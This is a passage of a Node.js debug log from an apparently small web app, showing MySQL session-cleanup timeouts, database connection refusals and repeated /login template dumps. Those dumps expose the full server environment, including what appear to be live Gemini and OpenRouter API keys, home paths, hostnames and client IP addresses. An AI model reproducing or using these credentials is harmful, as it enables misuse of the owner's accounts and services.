    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 17:20:43' as DATETIME)"
}
2025-12-22T17:21:11.666Z server-connect:router Serving templateView /
2025-12-22T17:21:11.667Z server-connect:app Executing action step identify
2025-12-22T17:21:11.667Z server-connect:app options: { provider: 'security' }
2025-12-22T17:21:11.667Z server-connect:auth No login cookie found
2025-12-22T17:21:11.667Z server-connect:output identity: false
2025-12-22T17:21:11.667Z server-connect:app Executing action step restrict
2025-12-22T17:21:11.667Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T17:21:11.667Z server-connect:output restrict: undefined
2025-12-22T17:21:11.785Z server-connect:router Serving templateView /login
2025-12-22T17:21:11.785Z server-connect:app Executing action step identify
2025-12-22T17:21:11.785Z server-connect:app options: { provider: 'security' }
2025-12-22T17:21:11.785Z server-connect:auth No login cookie found
2025-12-22T17:21:11.785Z server-connect:output identity: false
2025-12-22T17:21:11.785Z server-connect:router Render template layouts/authentication
2025-12-22T17:21:11.785Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '52.23.34.90',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T17:21:11.784Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.23.34.90',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '52.23.34.90',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 19:37:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 19:37:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 19:55:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 19:55:53' as DATETIME)"
}
2025-12-22T20:05:51.007Z server-connect:router Serving templateView /
2025-12-22T20:05:51.008Z server-connect:app Executing action step identify
2025-12-22T20:05:51.008Z server-connect:app options: { provider: 'security' }
2025-12-22T20:05:51.009Z server-connect:auth No login cookie found
2025-12-22T20:05:51.009Z server-connect:output identity: false
2025-12-22T20:05:51.009Z server-connect:app Executing action step restrict
2025-12-22T20:05:51.009Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T20:05:51.009Z server-connect:output restrict: undefined
2025-12-22T20:05:51.254Z server-connect:router Serving templateView /login
2025-12-22T20:05:51.254Z server-connect:app Executing action step identify
2025-12-22T20:05:51.254Z server-connect:app options: { provider: 'security' }
2025-12-22T20:05:51.255Z server-connect:auth No login cookie found
2025-12-22T20:05:51.255Z server-connect:output identity: false
2025-12-22T20:05:51.255Z server-connect:router Render template layouts/authentication
2025-12-22T20:05:51.255Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.222',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T20:05:51.254Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.222',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.222',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-22T20:20:43.157Z server-connect:router Serving templateView /
2025-12-22T20:20:43.157Z server-connect:app Executing action step identify
2025-12-22T20:20:43.157Z server-connect:app options: { provider: 'security' }
2025-12-22T20:20:43.157Z server-connect:auth No login cookie found
2025-12-22T20:20:43.157Z server-connect:output identity: false
2025-12-22T20:20:43.157Z server-connect:app Executing action step restrict
2025-12-22T20:20:43.157Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T20:20:43.158Z server-connect:output restrict: undefined
2025-12-22T20:20:43.402Z server-connect:router Serving templateView /login
2025-12-22T20:20:43.402Z server-connect:app Executing action step identify
2025-12-22T20:20:43.402Z server-connect:app options: { provider: 'security' }
2025-12-22T20:20:43.402Z server-connect:auth No login cookie found
2025-12-22T20:20:43.402Z server-connect:output identity: false
2025-12-22T20:20:43.402Z server-connect:router Render template layouts/authentication
2025-12-22T20:20:43.402Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.35',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T20:20:43.402Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.35',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.35',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 20:55:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 20:55:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 20:59:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 20:59:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 21:31:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 21:31:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 21:36:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 21:36:13' as DATETIME)"
}
2025-12-22T22:32:51.338Z server-connect:router Serving templateView /
2025-12-22T22:32:51.339Z server-connect:app Executing action step identify
2025-12-22T22:32:51.339Z server-connect:app options: { provider: 'security' }
2025-12-22T22:32:51.340Z server-connect:auth No login cookie found
2025-12-22T22:32:51.340Z server-connect:output identity: false
2025-12-22T22:32:51.340Z server-connect:app Executing action step restrict
2025-12-22T22:32:51.340Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T22:32:51.341Z server-connect:output restrict: undefined
2025-12-22T22:32:51.584Z server-connect:router Serving templateView /login
2025-12-22T22:32:51.585Z server-connect:app Executing action step identify
2025-12-22T22:32:51.585Z server-connect:app options: { provider: 'security' }
2025-12-22T22:32:51.585Z server-connect:auth No login cookie found
2025-12-22T22:32:51.585Z server-connect:output identity: false
2025-12-22T22:32:51.585Z server-connect:router Render template layouts/authentication
2025-12-22T22:32:51.585Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_65.21.215.19:443_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.242',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T22:32:51.584Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.242',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.242',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 22:48:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
